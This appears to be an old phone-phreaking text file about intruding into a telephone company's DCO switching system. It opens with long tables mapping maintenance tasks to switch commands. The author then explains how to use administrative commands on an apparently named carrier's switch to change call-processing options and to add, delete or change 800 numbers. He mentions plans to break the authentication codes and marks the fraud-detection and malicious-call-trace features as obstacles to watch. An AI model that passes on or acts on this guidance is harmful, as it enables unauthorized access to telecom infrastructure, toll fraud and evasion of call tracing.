   DTIUTL   FZS-SET THE FREEZE BIT    NO CHANGE TO MMI     $CONFIG LOCK

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   DTIUTL   RED-REBOOT THE DTC        NO CHANGE TO MMI     $CONFIG LOAD
   DTIUTL   REM-REMOVE SPAN           NO CHANGE TO MMI     $CONFIG REMOVE
   DTIUTL   RES-RESTORE SPAN          NO CHANGE TO MMI     $CONFIG RESTORE
   DTIUTL   RPT-SHOW STATUS/COUNTERS  NO CHANGE TO MMI     $STATUS/$CLEAR
   DTIUTL   SLX-SWITCH DTC TO SIDE X  NO CHANGE TO MMI     $CONFIG SWITCH
   DTIUTL   SLY-SWITCH DTC TO SIDE Y  NO CHANGE TO MMI     $CONFIG SWITCH
   DTIUTL   SWS-SWITCH SIDES          NO CHANGE TO MMI     $CONFIG SWITCH
   ECD      <CR>                      NO CHANGE TO MMI     $GBUG
   ECD      CLEAR                     NO CHANGE TO MMI     $GBUG
   ECD      CLEAR CBC                 NO CHANGE TO MMI     N/A
   ECD      CLEAR CP                  NO CHANGE TO MMI     N/A
   ECD      CLEAR DCO                 NO CHANGE TO MMI     $GBUG
   ECD      CLEAR ERROR COUNTERS      NO CHANGE TO MMI     $GBUG
   ECD      CLEAR LGC                 NO CHANGE TO MMI     $GBUG
   ECD      CLEAR LSC                 NO CHANGE TO MMI     $GBUG
   ECD      CLEAR MAH                 NO CHANGE TO MMI     N/A
   ECD      CLEAR MAR                 NO CHANGE TO MMI     N/A
   ECD      CLEAR MCI                 NO CHANGE TO MMI     N/A
   ECD      DISP CBC                  NO CHANGE TO MMI     N/A



HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > YES

   TASK     FUNCTION                  RLS-1000             RLS-4000

   ECD      DISP DCO                  NO CHANGE TO MMI     $GBUG
   ECD      DISP LSC                  NO CHANGE TO MMI     $GBUG
   ECD      DISP MAH                  NO CHANGE TO MMI     N/A
   ECD      DISP MAR                  NO CHANGE TO MMI     N/A
   ECD      DISP MCI                  NO CHANGE TO MMI     N/A
   ECD      DISPLAY                   NO CHANGE TO MMI     $GBUG
   ECD      DISPLAY ERROR COUNTERS    NO CHANGE TO MMI     $GBUG
   ECD      EXIT                      NO CHANGE TO MMI     $GBUG
   ECD      HELP                      NO CHANGE TO MMI     $GBUG
   ECD      ^                         NO CHANGE TO MMI     $GBUG
   ESS      BUILD-CREATE AN ESS FILE  NO CHANGE TO MMI     $ADMIN ESS
   ESS      DOWNLOAD FRAME DATABASE   NO CHANGE TO MMI     $CONFIG LOAD ESS DB
   ESS      CHANGE AN ESS FILE        NO CHANGE TO MMI     $ADMIN ESS
   ESS      INSPECT-SHOW FRAME DATA   NO CHANGE TO MMI     N/A
   ESS      DISPLAY AN ESS FILE       NO CHANGE TO MMI     $ADMIN ESS
   LLC      LINE LOAD CONTROL         NO CHANGE TO MMI     NO CHANGE TO MMI
   LSMC     LSMCC-ASGN LS CUST ALARMS $ADMIN CEI           $ADMIN CEI
   LSMC     LSMCC-ASGN LSC VIRTUAL SP NO CHANGE TO MMI     $CONFIG ASSIGN
   LSMC     LSMCC-BYPASS MAH          NO CHANGE TO MMI     N/A


HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   LSMC     LSMCC-DEASGN LS CUST ALMS $ADMIN CEI           $ADMIN CEI
   LSMC     LSMCC-ESS QUEUE           NO CHANGE TO MMI     N/A
   LSMC     LSMCC-EXERCISE OUT RELAY  NO CHANGE TO MMI     $CONFIG OPERATE
   LSMC     LSMCC-EXERCISE OUT RELAY  NO CHANGE TO MMI     $CONFIG RELEASE
   LSMC     LSMCC-LOCK LS CKT ON-LINE NO CHANGE TO MMI     $CONFIG LOCK
   LSMC     LSMCC-RECONFIGURE RLS     NO CHANGE TO MMI     N/A
   LSMC     LSMCC-RELEASE LSC VIRT SP NO CHANGE TO MMI     $CONFIG DEASSIGN
   LSMC     LSMCC-REMOVE LS CKT       NO CHANGE TO MMI     $CONFIG REMOVE
   LSMC     LSMCC-RESET LS CKT        NO CHANGE TO MMI     $CONFIG RESTORE
   LSMC     LSMCC-RESTORE LS CKT      NO CHANGE TO MMI     $CONFIG RESTORE
   LSMC     LSMCC-RLS QUEUE           NO CHANGE TO MMI     N/A
   LSMC     LSMCC-SWITCH LS CKTS      NO CHANGE TO MMI     $CONFIG SWITCH
   LSMC     LSMCC-UNBYPASS MAH        NO CHANGE TO MMI     N/A
   LSMC     LSMCC-UNLOCK LS CKT       NO CHANGE TO MMI     $CONFIG UNLOCK
   LSMC     LSMSK-MASK ALL LGC        NO CHANGE TO MMI     $CONFIG MASK
   LSMC     LSMSK-MASK ALL LSC CKTS   NO CHANGE TO MMI     $CONFIG MASK
   LSMC     LSMSK-MASK ALL MDC2 ALMS  NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK ALL PBRS       NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK INS M1&M2 MISM NO CHANGE TO MMI     N/A


HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   LSMC     LSMSK-MASK LGHS           NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK MDC            NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK RLG ALARMS     NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK SPECIFIC LGC   NO CHANGE TO MMI     $CONFIG MASK
   LSMC     LSMSK-MASK SPECIFIED MDC2 NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK SPECIFIED PBR  NO CHANGE TO MMI     N/A
   LSMC     LSMSK-MASK TP-C/TP-D      NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK ALL LGC      NO CHANGE TO MMI     $CONFIG UNMASK
   LSMC     LSMSK-UNMASK ALL LSC CKTS NO CHANGE TO MMI     $CONFIG UNMASK
   LSMC     LSMSK-UNMASK ALL MDC2 ALM NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK ALL PBRS     NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK INS M1 & M2  NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK LGHS         NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK MDC          NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK RLG ALARMS   NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK SPECIFIC LGC NO CHANGE TO MMI     $CONFIG UNMASK
   LSMC     LSMSK-UNMASK MDC-2 ALARMS NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK PBR          NO CHANGE TO MMI     N/A
   LSMC     LSMSK-UNMASK TP-C/TP-D    NO CHANGE TO MMI     N/A

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   LSMC     LSMTC-ALIT TESTS          NO CHANGE TO MMI     $TEST
   LSMC     LSMTC-CBC COMM BUFFER CTL NO CHANGE TO MMI     N/A
   LSMC     LSMTC-INS INTRANODAL SWI  NO CHANGE TO MMI     N/A
   LSMC     LSMTC-LSC LINE SWITCH CTL NO CHANGE TO MMI     $TEST
   LSMC     LSMTC-MAH MSG ASSEMB HOST NO CHANGE TO MMI     N/A
   LSMC     LSMTC-MAH MSG ASSEMB REM  NO CHANGE TO MMI     N/A
   LSMC     LSMTC-MCI MAINT COMM IFAC NO CHANGE TO MMI     N/A
   LSMC     LSMTC-RLG REMOTE LINE GRO NO CHANGE TO MMI     N/A
   LSMC     LSMTC-SLC 96              NO CHANGE TO MMI     $TEST
   LSMC     LSSTAT-CBC STATUS         NO CHANGE TO MMI     $STATUS
   LSMC     LSSTAT-FRAME STATUS       NO CHANGE TO MMI     $STATUS
   LSMC     LSSTAT-INS PGH STATUS     NO CHANGE TO MMI     N/A
   LSMC     LSSTAT-LINE GROU ACC STAT NO CHANGE TO MMI     $STATUS
   LSMC     LSSTAT-LINE GROUP STATUS  NO CHANGE TO MMI     $STATUS
   LSMC     LSSTAT-LSC LGH TS STATUS  NO CHANGE TO MMI     N/A
   LSMC     LSSTAT-LSC PGH STATUS     NO CHANGE TO MMI     $STATUS
   LSMC     LSSTAT-MAH STATUS         NO CHANGE TO MMI     N/A
   LSMC     LSSTAT-MAR STATUS         NO CHANGE TO MMI     N/A
   LSMC     LSSTAT-MCI STATUS         NO CHANGE TO MMI     N/A

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   LSMC     LSSTAT-PBR STATUS         NO CHANGE TO MMI     N/A
   LSMC     LSSTAT-RLG ALARM STATUS   NO CHANGE TO MMI     N/A
   LSMC     LSSTAT-RLS ASSIGNMEN STAT NO CHANGE TO MMI     N/A
   MANUAL   ALM-7/10 DIGT ALM SND REQ NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   ASC-LS ASSOCIATION        NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   BUP-BREAKUP PATHS         NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   BUS-BUSY OUT 1WAY IN TRNK NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   CAN-CANCEL MAN TEST CALL  NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   CPD-CP SELECT FEAT ON/OFF NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   CSM-REL ALL TST ACC RLYS  NO CHANGE TO MMI     $CONFIG RESTORE MTN
   MANUAL   FLD-FINK LIST DUMP        NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   FON-FINK LIST ON          NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   FYD-FLY CP DUMP SET/DEL   NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   GRA-GRAD PANEL RELATIVE   NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   LSS-DISPLAY CS DATA       NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   LSS-DISPLAY LSC DATA      NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   LSS-DISPLAY LGC DATA      NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   MTC-MANUAL TEST CALL      NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   PSS-PORT STORE SNAPS DUMP NO CHANGE TO MMI     NO CHANGE TO MMI

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   MANUAL   RO#-REQUEST OUT OF SERV   NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   RO*-REQUEST OUT OF SERV   NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   ROS-REQUEST OUT-OF-SERV   NO CHANGE TO MMI     $CONFIG REMOVE
   MANUAL   RP#-REQUEST PURGE OF LINE NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   RPS-REQUEST PURGE OF LINE NO CHANGE TO MMI     $CONFIG RESTORE
   MANUAL   RTA-RESET TEST ACC RELAYS NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   RTS-READ MATRIX SWITCH    NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   RTS-READ TIMESLOT         NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   SPT-SEMI-AUTO PORT TEST   NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   SST-SET SEL FINK ON EN'S  NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   STA-SET TEST ACCESS RELAY NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   SUP-SET PAT BETW 2 LINES  NO CHANGE TO MMI     NO CHANGE TO MMI
   MANUAL   TSS-TIMESLOT SEARCH       NO CHANGE TO MMI     NO CHANGE TO MMI
   ORGUTL   ORIGINATION TEST UTILITY  NO CHANGE TO MMI     NO CHANGE TO MMI
   OVLUTL   CHNG                      NO CHANGE TO MMI     NO CHANGE TO MMI
   PABX     DISP/LIST/EXIT            NO CHANGE TO MMI     NO CHANGE TO MMI
   PAUDIT   DETERMINE GENERIC PATCHER NO CHANGE TO MMI     N/A
   PORTST   ALPORT                    NO CHANGE TO MMI     NO CHANGE TO MMI
   PSAUTL   AUD                       NO CHANGE TO MMI     $AUDIT

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   PSAUTL   CST                       NO CHANGE TO MMI     N/A
   PSAUTL   SEA                       NO CHANGE TO MMI     N/A
   RESTOR   OFFLINE CP                NO CHANGE TO MMI     N/A
   RESTOR   ONLINE CP                 NO CHANGE TO MMI     N/A
   RNGUTL   DISPLAY                   NO CHANGE TO MMI     $STATUS
   RNGUTL   LOCK                      NO CHANGE TO MMI     $CONFIG LOCK
   RNGUTL   MASK                      NO CHANGE TO MMI     $CONFIG MASK
   RNGUTL   READ                      NO CHANGE TO MMI     $GBUG
   RNGUTL   RESET                     NO CHANGE TO MMI     $CONFIG RESTORE
   RNGUTL   SWITCH                    NO CHANGE TO MMI     $CONFIG SWITCH
   RNGUTL   TEST                      NO CHANGE TO MMI     $TEST PRG
   RNGUTL   UNLOCK                    NO CHANGE TO MMI     $CONFIG UNLOCK
   RNGUTL   UNMASK                    NO CHANGE TO MMI     $CONFIG UNMASK
   SCA      STUCK COIN ADMINISTRATION NO CHANGE TO MMI     NO CHANGE TO MMI
   SLCUTL   CLEAR SPAN ERROR CNTRS    $CLEAR               $CLEAR
   SLCUTL   DISABLE SPAN CNTL RELAY   $CONFIG RELEASE      $CONFIG RELEASE
   SLCUTL   DUMP TIMESLOT BSY IDL MAP $STATUS              $STATUS
   SLCUTL   ENABLE SPAN CONTROL RELAY $CONFIG OPERATE      $CONFIG OPERATE
   SLCUTL   MASK SLC-96 SPAN ALARMS   $CONFIG MASK         $CONFIG MASK

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   SLCUTL   REMOVE SPAN FROM SERVICE  $CONFIG REMOVE       $CONFIG REMOVE
   SLCUTL   REPORT-STATUS REPORT      $STATUS              $STATUS
   SLCUTL   RESET AND DOWNLOAD RTIF   $CONFIG LOAD         $CONFIG LOAD
   SLCUTL   RESTORE A SPAN TO SERVICE $CONFIG RESTORE      $CONFIG RESTORE
   SLCUTL   RESUME (RESTART) AN RTIF  $CONFIG LOAD         $CONFIG LOAD
   SLCUTL   TEST-RUN SLC-96 DIAG      TEST                 TEST
   SLCUTL   UNMASK SLC-96 SPAN ALARMS $CONFIG UNMASK       $CONFIG UNMASK
   SNCUTL   CL-PRINTS ON-LINE CLOCK   NO CHANGE TO MMI     $STATUS SNC
   SNCUTL   CX-CLEARS X MASK          NO CHANGE TO MMI     $CONFIG UNMASK
   SNCUTL   CY-CLEARS X UNMASK        NO CHANGE TO MMI     $CONFIG UNMASK
   SNCUTL   IN-INITIALIZES            NO CHANGE TO MMI     $CONFIG INIT
   SNCUTL   OS-X OSCILLATOR           NO CHANGE TO MMI     $CONFIG SWITCH
   SNCUTL   OS-Y OSCILLATOR           NO CHANGE TO MMI     $CONFIG SWITCH
   SNCUTL   PP-X PRIMARY, Y PRIMARY   NO CHANGE TO MMI     $CONFIG SWITCH
   SNCUTL   PS-X PRIMARY, Y SECONDARY NO CHANGE TO MMI     $CONFIG SWITCH
   SNCUTL   RF-REFRESHES OSCILLATOR   NO CHANGE TO MMI     $CONFIG REFRESH
   SNCUTL   RP-REPORTS STATUS         NO CHANGE TO MMI     $STATUS SNC
   SNCUTL   RT-ROUTINE TEST           NO CHANGE TO MMI     $TEST POWER UP
   SNCUTL   RX-RESET FAULT/SET MASK X NO CHANGE TO MMI     $CONFIG MASK

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   SNCUTL   RY-RESET FAULT/SET MASY Y NO CHANGE TO MMI     $CONFIG MASK
   SNCUTL   SP-X SECONDARY, Y PRIMARY NO CHANGE TO MMI     $CONFIG SWITCH
   SNCUTL   ZC-CLEAR BOTH X AND Y     NO CHANGE TO MMI     $HSTUTL
   SNCUTL   ZF-FORCES FAULTS          NO CHANGE TO MMI     $TEST SELF-TEST
   SNCUTL   ZM-MASKS SGD AND SNC      NO CHANGE TO MMI     N/A
   SNCUTL   ZR-RESET FLT/SET MASK X&Y NO CHANGE TO MMI     $CONFIG MASK
   SNCUTL   ZU-UNMASKS SGD AND SNC    NO CHANGE TO MMI     N/A
   SNCUTL   ZX-REFRESHES X OSCILLATOR NO CHANGE TO MMI     $CONFIG REFRESH
   SNCUTL   ZY-REFRESHES Y OSCILLATOR NO CHANGE TO MMI     $CONFIG REFRESH
   SWITCH   SWITCH DISKS              NO CHANGE TO MMI     $CONFIG SWITCH DISK
   SWITCH   SWITCH RINGS              NO CHANGE TO MMI     $CONFIG SWITCH RING
   SWITCH   SWITCH SIDES              NO CHANGE TO MMI     $CONFIG SWITCH CP
   SWITCH   SWITCH SIDES, NO XWRITE   NO CHANGE TO MMI     $CONFIG SWITCH
   SWITCH   SWITCH TONES              NO CHANGE TO MMI     $CONFIG SWITCH TONE
   TCOS     CHANGE                    NO CHANGE TO MMI     NO CHANGE TO MMI
   TCOS     DERV                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TCOS     DISP                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TCOS     LIST                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TCOS     SRCH                      NO CHANGE TO MMI     NO CHANGE TO MMI

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   TIMEC    ADJUST                    NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST HELP               NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST HOUR               NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST INVALID HOUR       NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST INVALID MIN        NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST INVALID SEC        NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST MIN                NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    ADJUST SEC                NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    DISPLAY                   NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    DONE                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    EXIT                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    HELP                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET DATE DAY              NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET DATE INVALID          NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET DATE MONTH            NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET DATE WARNING          NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET DATE YEAR             NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET HELP                  NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET TIME HOUR             NO CHANGE TO MMI     NO CHANGE TO MMI

HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y

   TASK     FUNCTION                  RLS-1000             RLS-4000

   TIMEC    SET TIME HOUR INVALID     NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET TIME MIN              NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET TIME SEC              NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SET TIME WARNING          NO CHANGE TO MMI     NO CHANGE TO MMI
   TIMEC    SYNC CLOCK AUDIT          NO CHANGE TO MMI     N/A
   TKTHRS   TRUNK THRESHOLD ADMIN     NO CHANGE TO MMI     NO CHANGE TO MMI
   TRK      ADD                       NO CHANGE TO MMI     NO CHANGE TO MMI
   TRK      DEL                       NO CHANGE TO MMI     NO CHANGE TO MMI
   TRK      DISP                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TRK      LIST                      NO CHANGE TO MMI     NO CHANGE TO MMI
   TRK      STAT                      NO CHANGE TO MMI     NO CHANGE TO MMI
   UNMASK   UNMASK                    NO CHANGE TO MMI     $CONFIG UNMASK
   WAKEUP   CHANGE                    NO CHANGE TO MMI     NO CHANGE TO MMI
   WAKEUP   DISP                      NO CHANGE TO MMI     NO CHANGE TO MMI
   WAKEUP   LIST                      NO CHANGE TO MMI     NO CHANGE TO MMI



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$AMOPT is a great tool,

$AMOPT
   HOUSTON_TX_WESTEL
    97-05-22 19:25:01    ADMINISTRATIVE CP OPTIONS

Once inside $AMOPT you can do a veriety of things :

These are the commands and what they do :

    DISP - DISPLAY CALL PROCESSOR OPTIONS
    LIST - LISTS ALL CALL PROCESSING OPTIONS
    CHNG - CHANGE CALL PROCESSOR OPTIONS
    BACKUP - COPIES FORMATTING TABLES TO DISK
    EXIT - EXITS AMOPT

when in AMOP do a list And it will list all call processor options
And it should look like this :

    OPTION    STATE  DESCRIPTION
    ------    -----  -----------
    OVERLD    OFF    FAST INTER-DIGIT TIMING

    AMAFREE   OFF    IF NO BUFFERS: ON=FREE OFF=BLOCKED

    USRFREE   OFF    IF NO BUFFERS: ON=FREE OFF=BLOCKED

    EASFREE   OFF    IF NO BUFFERS: ON=FREE OFF=BLOCKED

    FGAFREE   OFF    IF NO BUFFERS: ON=FREE OFF=BLOCKED

    EQAFREE   OFF    IF NO BUFFERS: ON=FREE OFF=BLOCKED

    COINAMA   OFF    TICKET ALL ORIG COIN CALL:ON=YES OFF=NO

    SSTRECORD OFF    RECORD SST'S : ON=YES OFF=NO

    HIGHREV   80     HIGH REVENUE THRESHOLD PERCENT (0-100)

    ECTIME    4      EXCES CONVSTN TIME--30 MIN UNITS

    ANSUP     0      ANSWER SUPERVISION TIME--.256 SEC UNITS

    MCD       1      MINIMUM CHARGEABLE DURATION 0-59 SECS

    AMAIMMED  OFF    DLI/MIC AMA IMMEDIATE TICKET WRITE

    DPFDTH    0      DTMF FRAUD DETECTION MESSAGE THRESHOLD

    AMAVAL           AMA RECORDS:ON=VALIDATION TEST,OFF=LIVE

    NODEID =>   0    1    2    3    4    5    6    7
    STATE  =>   OFF  OFF  OFF  OFF  OFF  OFF  OFF  OFF

    RTFREE    OFF    FREE LOCAL ROUTING ON ANI FAIL :

    DLIMICPR  OFF    DLI/MIC AMA INTERFACE PREFERRED

    MICTIMER  0      MIC AMA ACK TIMER STEPS (100MS UNITS)

    MICTHRSH  0      MIC AMA ACK TIMEOUT THRESHOLD

    TICKOP           TICKETING OPTIONS PER CALL TYPE ARE :

      CALL TYPE ACT  TRC  INC  EXT  HRV  HRN  DESCRIPTION
      --------- ---  ---  ---  ---  ---  ---  -----------
         001    ON   OFF  OFF  OFF  OFF  OFF  STATION-TO-STATION SENT PAID
         042    ON   OFF  OFF  OFF  OFF  OFF  TIME CHANGE
         104    ON   OFF  OFF  OFF  OFF  OFF  VOL1 VOLUME LABEL
         105    ON   OFF  OFF  OFF  OFF  OFF  HDR1 HEADER RECORD
         109    ON   OFF  OFF  OFF  OFF  OFF  EOF1 TRAILER RECORD
         113    ON   OFF  OFF  OFF  OFF  OFF  TEST RECORD
    XX:XX:XX   AMOPT       LIST COMPLETE

Notice the DTMF fraud detection message threshold? another one of it's advanced

system security Techneeks. Also you could change the call processing option wit
h CHNG.

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in $CODE you have the option to :
($CODE - DCO Customer routing)
USUALLY USING V 1.0

        ACTV   - SEARCH CPT AND AUX TABLES FOR REFERENCES TO
                 INPUT AUX TABLE NUMBER OR SCREEN TABLE NUMBER.
        AUDIT  - SEARCH CPT AND AUX TABLES FOR ACTIVE AUX TABLES
                 THAT ARE NOT REFERENCED BY EITHER TABLE.
        CHNG   - CHANGE AN AUX, ST#, OR ABC.
        DEFINE - DEFINE AN AUX TABLE.
        DISP   - BY ABC;
         OR         ABC AND SC#;
        LIST        DEF AND AUX;
                    DEF, AUX AND SC#;
                    AUX;
                    AUX AND SC#;
                    ST#;
                    ST# AND SC#.
        UNS    - UNASSIGN AN AUX OR ST#.

    XX-XX-XX XX:XX:XX
    FUNCTION ABC  DEF  AUX  ST#  SC#  RTR# KEY  STA  STO  DEX  CPE
--


Screw that the real fun comes from the inwats command ;)
You Can ADD Delete or change any inwat # you want in this system,

* JN0259  800 025 9[5-9]XX   ASSIGNED - 0000 SPARE - 0002





Did you notice the trace command? Lookie here :

    =============================================================
    ** AUTH - WILL TRACE BY AUTH CODE FOR A GIVEN TRUNK GROUP  **
    ** ANI  - WILL TRACE BY ANI FOR A GIVEN TRUNK GROUP        **
    ** EN   - WILL TRACE BY EN AND PRINT THE DATA FOUND        **
    ** TRUNK- WILL TRACE LIKE EN BUT FOR ALL EN'S IN A TG.     **
    =============================================================
    ***     AUTH - VALID 4 TO 7 DIGIT AUTH CODE               ***
    ***     ANI  - 7 DIGITS FOR FG-B    10 DIGITS FOR FG-D    ***
    ***     EN   - 1222 = 01-2-22    1020 = 01-0-20           ***
    ***     TRUNK- 1 TO 511 OR "*" FOR ALL TRUNK GROUPS       ***
    =============================================================
- Now i still havent broken the authentication code, but i`m sure i can debug i
t out
Of the system.....
-------------------------------
In the $EDIT command So far, it seems as though every <CR> it well, hits a new
line.
When you are done with your editing, type ! then hit $EXIT! then it will ask yo
u what file
You want to save it as. Peace -o- Cake.
-------------------------------
The command $ADMIN back at the DCO> prompt will give let you will have to enter
the group type in which you want to administer. Some of these groups are restri
cted.
Here are the groups :

   ERR          - DISPLAY ERROR CODES FROM DBMS
   AIN          - ADVANCED INTELLIGENCE NETWORK
   CEI          - CUSTOMER EQUIPMENT INTERFACE
   COS          - CLASS OF SERVICE
   CODRES       - CODE RESTRICTION LIST
   CV           - CLASS VALUES (VOICE DATA PROTECTION)
   FN           - FEATURE NAME
   HG           - HUNT GROUPS
   LCC          - LINE CLASS CODES
   LCN          - LINE CLASS NAMES
   LINE         - EN/DN LINES
   MACRO        - MACRO DEFINITIONS
   MBG          - MAKE BUSY GROUPS
   NRT          - NETWORK DN TRANSPARENCY ROUTE TREATMENTS
   OPTIONS      - FEATURE OPTIONS
   RING         - DEFAULT RING CODES
   SITE         - SITE NAME
   SS7          - SIGNALING SYSTEM NUMBER 7

The feature option are :

          NS           MULTI LATA    LOCAL NUMBER
                            N            000

          NS                 SCP TONE/ANNOUNCEMENT TABLE

                 CODE    TONE/ANNOUNCEMENT          RTR#      TONE
                 ====    =================          ====      ====
                   1     OUT OF BAND                   0
                   2     VACANT CODE                   0
                   3     DISCONNECTED NUMBER           0
                   4     EQUIPMENT BUSY TONE                   EBT
                   5     BUSY TONE                              BT
                   6     NO CIRCUIT AVAILABLE                  EBT

          NS                 ACG TONE/ANNOUNCEMENT TABLE

                 CODE    TONE/ANNOUNCEMENT          RTR#      TONE
                 ====    =================          ====      ====
                   1     VACANT CODE                   0
                   2     OUT OF BAND                   0
                   3     NO CIRCUIT AVAILABLE                  EBT
                   4     MASS CALLING                           BT
                   5     SMS INITIATED                          BT

          NS                 SSP TONE/ANNOUNCEMENT TABLE

                 CODE    TONE/ANNOUNCEMENT          RTR#      TONE
                 ====    =================          ====      ====
                   1     EQUIPMENT BUSY TONE                   EBT
                   2     CIRCUIT RESTRICTION           0
                   3     OUT OF BAND                   0

This gives the complete codes for the shit your working on.
also, in the ERR prompt, here is the complete code listing for it :
Remember all letters proceeded with * can be entered by -

     DONE          - TERMINATES REPETITIVE PROMPTING
   *3WAY          - 3-WAY CALLING
   *AA            - AUTOMATIC LINE INSULATION TEST
   *ASUP          - RETURN ANSWER SUPERVISION
   *BILLING       - BILLING NUMBER
   *CFDAF         - CALL FORWARD NO ANSWER FIXED
   *CFDAFIO       - CALL FORWARD NO ANSWER FIXED IN ONLY
   *CFDAV         - CALL FORWARD NO ANSWER VARIABLE
   *CFDAVIO       - CALL FORWARD NO ANSWER VARIABLE IN ONLY
    CIRCULAR      - CIRCULAR
   *CR1           - CARRIER RESTRICTION #1
   *CR2           - CARRIER RESTRICTION #2
    CV            - CLASS VALUE
   *D4FX          - SLC-96 FOREIGN EXCHANGE
   *DIRECT        - AUTO ORIGINATION DIRECT
   *DVDN          - DIVERSION TO INTERCEPT DN
   *FGA           - FEATURE GROUP A
   *FIRE          - VOLUNTEER FIRE ALARM
    FLAT          - FLAT RATE
   *FRAUD-DTMF    - DTMF FRAUD DETECTION           <---- YAY!
   *FREE          - FREE TERMINATING
   *GRND          - GROUND START
   *HOTL          - HOTEL/MOTEL SERVICE      <--- motel 69.
   *IMTS          - IMPROVED MOBILE TELEPHONE SERVICE
   *INWS          - INWARD WATS SERVICE
   *IR            - INTERLATA RESTRICTED
   *KEYS          - KEYSTATION
    LCN           - LINE CLASS CODE NAME
    LINEAR        - LINEAR
   *LIVE          - LIVE SERVICE OBSERVATION
    LLCA          - LINE LOAD CONTROL ESSENTIAL
    LLCB          - LINE LOAD CONTROL SEMI-ESSENTIAL
    LLCC          - LINE LOAD CONTROL NON-ESSENTIAL
   *LOOP          - LOOP RANGE EXTENDER
   *LORL          - OUTSIDE VENDOR ALIT
   *MANUAL        - AUTO ORIGINATION MANUAL
   *MCHF          - MALICIOUS CALL HOOK FLASH
   *MCTR          - MALICIOUS CALL TRACE    <--------|
   *MCTT          - MALICIOUS CALL TRAP & TRACE <----|__For some reason, these
don't look g00d
    MEASURED      - MEASURED RATE
    METERED       - METERED RATE
    MULTILINE     - MULTILINE HUNT GROUP
   *NOTIC         - NO LAMA TICKET
   *OPM           - ON PREMISES METERING
